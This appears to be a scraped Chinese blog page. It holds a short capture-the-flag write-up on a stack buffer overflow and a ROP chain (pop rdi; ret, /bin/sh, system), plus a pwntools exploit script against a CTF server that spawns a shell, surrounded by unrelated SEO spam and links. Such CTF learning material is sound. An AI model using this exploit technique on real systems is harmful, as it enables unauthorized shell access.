当前位置: 首页 > news >正文

河北地矿建设集团官方网站昆山市网站建设

河北地矿建设集团官方网站,昆山市网站建设,公司简介ppt模板免费,青岛哪家做网站的公司覆盖缓冲区和 RBP: 使用 128 8 字节覆盖 buf 和 rbp。 构造 ROP 链: pop rdi; ret 地址: 将 pop rdi; ret 指令的地址写入返回地址位置。 /bin/sh 地址: 将 /bin/sh 字符串的地址压入栈顶,作为 system 函数的参数。…
  1. 覆盖缓冲区和 RBP:
    使用 128 + 8 字节覆盖 bufrbp

  2. 构造 ROP 链:

    • pop rdi; ret 地址:pop rdi; ret 指令的地址写入返回地址位置。

    • /bin/sh 地址:/bin/sh 字符串的地址压入栈顶,作为 system 函数的参数。

    • system 地址:system 函数的地址写入返回地址位置。

  3. 执行流程:

    • 子函数返回到 pop rdi; ret 指令,该指令将 /bin/sh 地址出栈并存入 rdi 寄存器。

    • 然后程序返回到 system 函数,执行 system("/bin/sh")


一句话总结:

通过覆盖缓冲区和 RBP,构造 ROP 链(pop rdi; ret/bin/sh 地址 → system 地址),使程序执行 system("/bin/sh"),从而获取 shell。

from pwn import *
from LibcSearcher import *
context.log_level='debug'
p=remote('node5.buuoj.cn',25669)payload=b'a'*(0x88)+p64(0x004006b3)+p64(0x00600A90)+p64(0x004004C0)
p.sendline(payload)
p.interactive()

http://www.dtcms.com/a/536407.html

相关文章:

  • __金仓数据库平替MongoDB实战:制造业生产进度管理的国产化升级之路__
  • 电商设计就是网站设计吗乐清本地生活服务平台
  • html css js网页制作成品——似锦HTML+CSS网页设计(5页)附源码
  • 某教育大厂面试题解析:MySQL索引、Redis缓存、Dubbo负载均衡等
  • wordpress怎么加菜单阿里网站怎样做seo
  • 2025年损坏Excel文件修复工具推荐:一键恢复表格内容
  • 网站一直百度上搜不到是怎么回事素马杭州网站设计介绍
  • 基于 STM32 的智能水表流量计设计与实现 —— 数据采集与远程传输
  • 深度学习核心概念拆解:张量、模型、训练、推理
  • C++初阶 -- 模拟实现list
  • 开源Outline系统基础知识要点及避坑要点
  • 淘宝客云建站官网模板网pi
  • 中国糕点网页设计网站查工程建设不良记录免费的网站
  • redis-cluster集群配置部署
  • 整体设计 全面梳理复盘 之9 “相提并论的三者” :否则段三种主义 “保持 - 反对 - 保留” 表格化构建与原始逻辑对标
  • 第5章-虚拟机栈
  • 配置(1):samba的配置
  • web开发,在线%鲜花销售%管理系统,基于asp.net,webform,c#,sql server存储过程
  • [作品集]-容易宝
  • 数字校园建设专题网站自动化项目外包网
  • python-docx样式
  • 新建网站如何调试seo石家庄
  • 90设计网站官网首页行情软件排行榜前十名
  • 华为OD机试双机位A卷 - 二维伞的雨滴效应 (C++ Python JAVA JS GO)
  • Redis数据库基础
  • 韦东山嵌入式入门笔记之——应用开发基础篇(七)APP访问硬件的方式
  • 网站建设的论文参考文献上海市交通建设工程安全质量监督站网站
  • 微信个人发消息api
  • 深入理解JVM的安全点与安全区域
  • 一键上云:Vultr × Caddy 可直接部署模板(Terraform + Docker Compose + Caddyfile)